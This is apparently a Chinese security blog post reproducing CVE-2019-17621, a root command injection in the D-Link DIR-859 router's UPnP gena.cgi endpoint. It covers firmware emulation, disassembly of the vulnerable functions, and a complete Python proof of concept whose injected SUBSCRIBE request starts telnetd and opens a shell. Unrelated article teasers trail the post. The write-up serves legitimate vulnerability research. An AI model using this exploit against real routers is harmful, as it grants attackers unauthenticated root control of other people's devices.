【工业安全】-CVE-2019-17621-D-Link Dir-859L 路由器远程代码执行漏洞
文章目录
1.漏洞描述
2.环境搭建
3.漏洞复现
4.漏洞分析
4.1:代码分析
4.2:流量分析
5.poc代码:
1.漏洞描述
漏洞编号:CVE-2019-17621
漏洞名称:D-Link DIR-859 命令注入漏洞
威胁等级:严重
漏洞详情:D-Link UPnP-859 Wi-Fi路由器1.05和1.06B01 Beta 01中的UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令
影响范围:D-Link DIR-859 v1.06b01beta01及之前的版本
固件下载地址:http://www.dlink.com.cn/techsupport/download.ashx?file=3850
2.环境搭建
下载到固件之后,首先需要把固件 DIR822A1_FW103WWb03.bin模拟运行起来。
在测试虚拟机中,模拟固件用到的是 firmware-analysis-toolkit:GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitiesToolkit to emulate firmware and analyse it for security vulnerabilities - GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilities
https://github.com/attify/firmware-analysis-toolkit也可以直接安装一台 AttifyOS 虚拟机:GitHub - adi0x90/attifyos: Attify OS - Distro for pentesting IoT devicesAttify OS - Distro for pentesting IoT devices . Contribute to adi0x90/attifyos development by creating an account on GitHub.
https://github.com/adi0x90/attifyos
这个虚拟机镜像就是专门用来进行物联网 (IoT) 设备的安全评估和渗透测试的,上面预装好了各种必要的工具,比较方便,AttifyOS 3.0 基于 Ubuntu 18.04。
3.漏洞复现
在firmadyne安装目录下执行命令:
./fat.py DIR822A1_FW103WWb03.bin,

出现如下提示后按回车运行固件。
在浏览器中访问 http://192.168.0.1

使用 nmap 扫描可以发现 9999 端口被开启,运行 telnet 服务:

命令:grep -r '49152'
注:49152开启的是UPnP(通用即插即用)网络协议。

运行poc
命令:python3.8 a.py

![]()
poc执行成功后,获得了dlink的shell。
4.漏洞分析
4.1:代码分析
使用 binwalk -e 解包固件,获得文件以备后续分析:

进入home/CVE-2019/firmadyne/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/bin目录后,我们并没有发现httpd可执行文件。
使用grep 命令搜索当前目录及其子目录下所有包含 "httpd" 字符串的文

_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/etc/services/HTTP.php 文件包含了 httpd 的配置文件路径 /var/run/httpd.conf,并且有启动和停止 httpd 服务的命令。这表明该脚本可能用于管理 httpd 服务的启动和停止。
查看httpd.conf文件:
cat var/run/httpd.conf

可知/htdocs/upnp/docs/LAN-1用于存放 UPnP 服务相关的文档和资源.
进入路径/htdocs/upnp/docs/LAN-1
命令:cd /htdocs/upnp/docs/LAN-1
ls -al

注意漏洞通告中:
The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root
能够定位漏洞位于/htdocs/cgibin
ida分析/htdocs/cgibin


通过查找关键词”gena”我们发现调用gena.cgi的genacgi_main函数
反汇编可知此函数的作用是处理一个简单的 CGI (通用网关接口) 请求。

首先检查请求方法和请求 URI 是否有效。
然后检查请求 URI 是否包含 ?service=,并获取服务名称。
根据请求方法(SUBSCRIBE 或 UNSUBSCRIBE)的不同,调用相应的处理函数(sub_40FCE0或sub_4100EC)
注意漏洞通告中:
远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求。
跟进分析请求方法SUBSCRIBE调用的处理函数sub_40FCE0:
反汇编可知此函数的作用是用于 UPnP (通用即插即用) 服务,处理一个订阅请求。

![]()
这段代码主要是调用 xmldbc_ephp 函数来执行命令
分析xmldbc_ephp

它是一个包装器函数,用于调用另一个函数 sub_414FB8
跟进sub_414FB8函数

1.调用 sub_4140BC 函数,获取一个文件描述符或类似资源。

2.如果获取成功,sub_4140BC 函数会调用 sub_41490C 函数进行进一步的操作。
跟进sub_41490C 函数:

sub_41490C 处理文件描述符读取和数据处理的函数。

3.如果 sub_41490C 确保成功,它会调用 sub_4146C8 函数进行最终操作。

sub_4146C8 函数作用是等待文件描述符流的状态变化,然后读取数据并调用 sub_41460C 函数。

sub_41460C 函数中fwrite 函数被用来将 a1 指向的内存区域中的数据写入到文件流中。
而a1内存区域中的数据在sub_4140BC就有定义

a1 在这个函数中主要用于:

![]()
可知脚本文件的路径run.NOTIFY.php中。
分析run.NOTIFY.php:

这段代码用于处理 UPnP 设备的事件订阅请求,根据不同的服务类型(GENA_subscribe_new 或者GENA_subscribe_sid)执行相应的操作。
其内容定义在了/htdocs/upnpinc/gena.php中。


其中引入多个变量。
但$shell_file 变量没有经过适当的清理和转义,这允许攻击者通过在 URL 参数中注入恶意代码来控制 fwrite 函数写入的内容。

已知:49152端口开启的是UPnP(通用即插即用)网络协议。
我们可以构造如下请求:
http://<router-ip>:49152/gena.cgi?service=`$shell_file+命令 /`
验证命令注入漏洞。
4.2:流量分析

UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令。
5.poc代码:
代码复现时路由器ip:192.168.0.1
#!/usr/bin/python3import socket
import os
from time import sleepdef httpSUB(server, port, shell_file):print('\n[*] Connection {host}:{port}'.format(host=server, port=port))con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"request += "Host: " + str(server) + str(port) + "\n"request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"request += "NT: upnp:event\n"request += "Timeout: Second-1800\n"request += "Accept-Encoding: gzip, deflate\n"request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"print('[*] Sending Payload')sleep(1)con.connect((socket.gethostbyname(server), port))con.send(request.encode())results = con.recv(4096)print('[*] Running Telnetd Service')sleep(2)print('[*] Opening Telnet Connection\n')os.system('telnet ' + str(server) + ' 9999')serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
poc执行成功后,获得了dlink的shell。
相关文章:
【工业安全】-CVE-2019-17621-D-Link Dir-859L 路由器远程代码执行漏洞
文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析 4.1:代码分析 4.2:流量分析 5.poc代码: 1.漏洞描述 漏洞编号:CVE-2019-17621 漏洞名称:D-Link DIR-859 命令注入漏洞 威胁等级:严重 漏洞详…...
FastExcel + Java:打造高效灵活的Excel数据导入导出解决方案
作者:后端小肥肠 🍇 我写过的文章中的相关代码放到了gitee,地址:xfc-fdw-cloud: 公共解决方案 🍊 有疑问可私信或评论区联系我。 🥑 创作不易未经允许严禁转载。 姊妹篇: 基于AOP的数据字典实现…...
fun-transformer学习笔记-Task1——Transformer、Seq2Seq、Encoder-Decoder、Attention之间的关系
Transformer、Seq2Seq、Encoder-Decoder、Attention由这四者之间的关系可以从模型架构的发展脉络来理解: Seq2Seq 与 Encoder–Decoder 模型 “Seq2Seq”(sequence‐to‐sequence)是一类用于将一个变长序列映射为另一个变长序列的任务&#x…...
使用Hexo部署NexT主体网站
一.使用git提交文件 参考: 从零开始搭建个人博客(超详细) - 知乎 致谢! 第一种:本地没有 git 仓库 直接将远程仓库 clone 到本地;将文件添加并 commit 到本地仓库;将本地仓库的内容push到远程仓…...
图书管理项目(spring boot + Vue)
想要该项目的话,就 jia 我,并在评论区给我说一下,只需要1元,我把整个项目发给你 jia微:18439421203(名字叫:Bingo) 运行图片:...
python实现常见数学概率分布
常见正态分布 1.贝塔分布1.1 概率密度函数1.2参数对分布形状的影响1.3 应用场景1.4 python实现 2. 帕累托分布(80/20法则)3. 正态分布(高斯分布)3.1 正态分布对应性质3.2 正态分布对应图像实现的完整项目示例,包含权限控制、数据加载状态处理、性能优化等常见高级功能。创建一个简单的博客系统: // 项目结构: src/ |-- components/ | |-- ArticleList.jsx | |-- Article.jsx | |-- He…...
基于Qt 和微信小程序的用户管理系统:WebSocket + SQLite 实现注册与登录
目录 一. 概要 二. 技术栈 三. 系统功能设计 3.1 功能模块 3.2 数据表设计 四. 具体实现 4.1 Qt 服务端 4.1.1 初始化 WebSocket 服务器 4.1.2 用户管理界面 4.2 微信小程序端 4.2.1 注册功能 4.2.2 登录功能 五. 运行效果 六. 源码下载 一. 概要 在物联网和智能设备…...
在CT107D单片机综合训练平台上实现外部中断控制LED闪烁
引言 在单片机开发中,外部中断是一个非常重要的功能,它可以让单片机在检测到外部信号变化时立即做出响应。本文将详细介绍如何在CT107D单片机综合训练平台上使用外部中断来控制LED灯的闪烁。我们将使用两种不同的方式来实现这一功能:一种是在…...
HTML之JavaScript使用JSON
HTML之JavaScript使用JSON JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。JSON是JavaScript对象的字符串表示法,它使用文本表示一个js对象的信息,可以将json字符串转换…...
算法很美笔记(Java)——树
性质 树 上面的性质因为两个结点由一条边连成 结点数目越多,算法复杂度越高 二叉树 结构 层次遍历 利用队列,弹一个,加N个(队列里弹出一个元素,就把这个元素的所有孩子加进去) 具体来说:指…...
SQL面试题4:相互关注问题
引言 在社交媒体和各类社区平台蓬勃发展的当下,用户之间的关系网络成为了平台运营和数据分析的关键部分。相互关注作为一种重要的社交关系,不仅反映了用户之间的紧密程度,还对平台的社交生态、内容传播等方面有着深远影响。本文将聚焦于 SQL…...
ArcGIS基础知识之ArcMap基础设置——ArcMap选项:常规选项卡设置及作用
作为一名 GIS 从业者,ArcMap 是我们日常工作中不可或缺的工具。对于初学者来说,掌握 ArcMap 的基础设置是迈向 GIS 分析与制图的第一步。今天,就让我们一起深入了解 ArcMap 选项中常规选项卡的各个设置,帮助大家更好地使用这款强大的软件。 在 ArcMap 中,常规选项卡是用户…...
jvm 线程监控调试
文章目录 前言一、使用JDK工具转储线程文件(如jstack)1. 找到Java进程的PID:2. 使用jstack生成线程转储文件:3.验证生成的线程转储文件:二、分析文件1.使用在线工具进行分析上传thread-dump文件,等待解析完成2.查看分析结果总结前言 提示:使用jdk自带工具转储线程监控文…...
25、深度学习-自学之路-卷积神经网络基于MNIST数据集的程序展示
import keras #添加Keraskuimport sys,numpy as np from keras.utils import np_utilsimport osfrom keras.datasets import mnist print("licheng:""20"\n) np.random.seed(1)(x_train,y_train),(x_test,y_test) mnist.load_data() #第一次…...
【C++】解锁<list>的正确姿势
> 🍃 本系列为初阶C的内容,如果感兴趣,欢迎订阅🚩 > 🎊个人主页:[小编的个人主页])小编的个人主页 > 🎀 🎉欢迎大家点赞👍收藏⭐文章 > ✌️ 🤞 …...
Qt中的事件
写一个 可以拖动的按钮 DraggablePushButton.h 头文件 #ifndef DRAGGABLEPUSHBUTTON_H #define DRAGGABLEPUSHBUTTON_H#include <QPushButton> #include <QMouseEvent>class DraggablePushButton : public QPushButton {Q_OBJECTpublic:explicit DraggablePushBu…...
变化检测相关论文可读list
一些用得上的: 遥感变化检测常见数据集https://github.com/rsdler/Remote-Sensing-Change-Detection-Dataset/ 代码解读:代码解读 | 极简代码遥感语义分割,结合GDAL从零实现,以U-Net和建筑物提取为例 NeurIPS2024: https://mp.w…...
Ansible中playbook的变量
变量 playbook的变量有以下几种 在playbook中用户自定义的变量远程主机中由Ansible收集的变量在文件模板中使用的上述两种变量把任务结果作为一个变量使用,叫注册变量用户在执行playbook时,通过命令行传入的变量,叫做额外变量 在playbook中…...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...
大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
重启Eureka集群中的节点,对已经注册的服务有什么影响
先看答案,如果正确地操作,重启Eureka集群中的节点,对已经注册的服务影响非常小,甚至可以做到无感知。 但如果操作不当,可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...
html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型(Primitive) 和 对象类型(Object) 两大类,共 8 种(ES11): 一、原始类型(7种) 1. undefined 定…...
书籍“之“字形打印矩阵(8)0609
题目 给定一个矩阵matrix,按照"之"字形的方式打印这个矩阵,例如: 1 2 3 4 5 6 7 8 9 10 11 12 ”之“字形打印的结果为:1,…...
java高级——高阶函数、如何定义一个函数式接口类似stream流的filter
java高级——高阶函数、stream流 前情提要文章介绍一、函数伊始1.1 合格的函数1.2 有形的函数2. 函数对象2.1 函数对象——行为参数化2.2 函数对象——延迟执行 二、 函数编程语法1. 函数对象表现形式1.1 Lambda表达式1.2 方法引用(Math::max) 2 函数接口…...
【java】【服务器】线程上下文丢失 是指什么
目录 ■前言 ■正文开始 线程上下文的核心组成部分 为什么会出现上下文丢失? 直观示例说明 为什么上下文如此重要? 解决上下文丢失的关键 总结 ■如果我想在servlet中使用线程,代码应该如何实现 推荐方案:使用 ManagedE…...
